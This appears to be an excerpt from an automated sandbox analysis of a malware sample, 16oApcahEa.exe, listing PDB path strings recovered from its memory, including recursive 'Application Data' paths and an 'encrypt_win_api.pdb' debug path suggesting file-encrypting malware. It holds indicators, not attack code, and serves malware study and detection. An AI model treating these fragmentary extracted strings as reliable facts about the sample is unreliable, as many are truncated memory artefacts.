Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\[sU source: 16oApcahEa.exe, 00000006.00000003.2370752374.000000000311C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2370726322.0000000003111000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2370978617.000000000311D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\wy\H source: 16oApcahEa.exe, 00000006.00000003.2627346648.00000000032C0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2606786185.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2607845783.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608867236.0000000003289000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2651190121.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2606786185.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650185530.000000000339E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2627745074.0000000003299000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2627823379.00000000033A2000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2607845783.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628546874.00000000032BC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608867236.0000000003289000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2650308082.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628652314.0000000003622000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649360466.00000000035ED000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2647839049.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2402881218.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2404765626.0000000003192000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2401102742.0000000003194000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2627596714.000000000317B000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649084631.0000000003182000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2648565926.0000000003152000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650049757.0000000003183000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2628146164.0000000003182000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ACw source: 16oApcahEa.exe, 00000006.00000003.2650185530.000000000339E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\I source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\40\ source: 16oApcahEa.exe, 00000006.00000003.2370752374.000000000311C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2370726322.0000000003111000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2370978617.000000000311D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\20\kV8 source: 16oApcahEa.exe, 00000006.00000003.2659984030.000000000365F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2655582040.000000000363E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2658259484.0000000003647000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\H source: 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003173000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2402881218.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2413305123.0000000003196000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2404765626.0000000003192000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530699362.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2401102742.0000000003194000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003173000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\E source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: 16oApcahEa.exe, 00000006.00000003.2599150765.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598612147.00000000033BD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\C source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2656864681.0000000003604000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650308082.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649360466.00000000035ED000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2659896195.000000000361D000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2647839049.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574727430.00000000032D8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574666578.0000000003285000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: 16oApcahEa.exe, 00000006.00000003.2676291403.0000000003666000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2677093873.0000000003714000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2672665373.0000000003767000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2676488102.00000000036DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*\ source: 16oApcahEa.exe, 00000006.00000003.2530950914.0000000003120000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\* source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\rQ source: 16oApcahEa.exe, 00000006.00000003.2659984030.000000000365F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2655582040.000000000363E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650308082.0000000003689000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2658259484.0000000003647000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ta\_ source: 16oApcahEa.exe, 00000006.00000003.2676291403.0000000003666000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\5 source: 16oApcahEa.exe, 00000006.00000003.2608005511.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608980432.0000000003151000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608238739.0000000003140000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598996475.0000000003142000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608914024.000000000314A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2599115963.0000000003148000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2607706297.000000000311E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598551375.000000000311E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: 16oApcahEa.exe, 00000006.00000003.2672090250.000000000327C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2672430411.0000000003281000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\^ source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\" source: 16oApcahEa.exe, 00000006.00000003.2676291403.0000000003666000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2677093873.0000000003714000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2670819138.000000000377E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2676488102.00000000036DF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\' source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: 16oApcahEa.exe, 00000006.00000003.2531584711.0000000003113000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574538577.000000000311C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\2 source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\- source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: 16oApcahEa.exe, 00000006.00000003.2412926090.0000000003271000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2413214112.000000000328D000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2413077648.0000000003285000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\input\ar-LY\od.pdbUL source: 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574727430.00000000032D8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574666578.0000000003285000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598180524.00000000032E5000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\v4.0\ source: 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574727430.00000000032D8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574666578.0000000003285000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\ source: 16oApcahEa.exe, 00000006.00000003.2659984030.000000000365F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2655582040.000000000363E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2658259484.0000000003647000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: 16oApcahEa.exe, 00000006.00000003.2599150765.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598612147.00000000033BD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\;O8 source: 16oApcahEa.exe, 00000006.00000003.2574043200.0000000003278000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574727430.00000000032D8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574666578.0000000003285000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598180524.00000000032E5000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2573470738.0000000003278000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ock source: 16oApcahEa.exe, 00000006.00000003.2412967181.0000000003173000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2402881218.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2413305123.0000000003196000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2404765626.0000000003192000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530699362.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2401102742.0000000003194000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003173000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\h source: 16oApcahEa.exe, 00000006.00000003.2656864681.00000000035A5000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2655793338.0000000003590000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: 16oApcahEa.exe, 00000006.00000003.2672049368.00000000033AD000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2670696660.00000000033A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ons\ source: 16oApcahEa.exe, 00000006.00000003.2574208274.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530699362.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2574283198.0000000003198000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003173000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\*e\ source: 16oApcahEa.exe, 00000006.00000003.2650308082.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649360466.00000000035ED000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2647839049.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\C source: 16oApcahEa.exe, 00000006.00000003.2670819138.0000000003666000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2671874339.00000000036BF000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2672665373.00000000036F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: zsers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.irjg source: 16oApcahEa.exe, 00000006.00000003.2531549641.00000000031A9000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530699362.000000000319A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003173000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ta\1r" source: 16oApcahEa.exe, 00000006.00000003.2657600214.000000000319C000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2656367932.0000000003188000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: 16oApcahEa.exe, 00000006.00000003.2676291403.0000000003666000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\t\ source: 16oApcahEa.exe, 00000006.00000003.2650308082.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649360466.00000000035ED000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2647839049.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\cat source: 16oApcahEa.exe, 00000006.00000003.2574417283.000000000311E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2575408914.000000000312E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2599088690.0000000003130000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2599479272.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598551375.000000000311E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2599058073.0000000003124000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: 16oApcahEa.exe, 00000006.00000003.2530950914.0000000003120000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\0\ source: 16oApcahEa.exe, 00000006.00000003.2670819138.0000000003666000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: 16oApcahEa.exe, 16oApcahEa.exe, 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000008.00000002.2208558716.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000B.00000002.2290687050.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\' source: 16oApcahEa.exe, 00000006.00000003.2598180524.00000000032E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: 16oApcahEa.exe, 00000006.00000003.2599190729.0000000003238000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2598180524.0000000003223000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\tate\ source: 16oApcahEa.exe, 00000006.00000003.2598494507.0000000003211000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2608329765.0000000003217000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ome\ source: 16oApcahEa.exe, 00000006.00000003.2656864681.0000000003604000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2650308082.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2649360466.00000000035ED000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2659896195.000000000361D000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2647839049.0000000003587000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\p source: 16oApcahEa.exe, 00000006.00000003.2531251132.000000000315F000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530496274.0000000003126000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2530726441.000000000313A000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2531026694.0000000003148000.00000004.00000020.00020000.00000000.sdmp
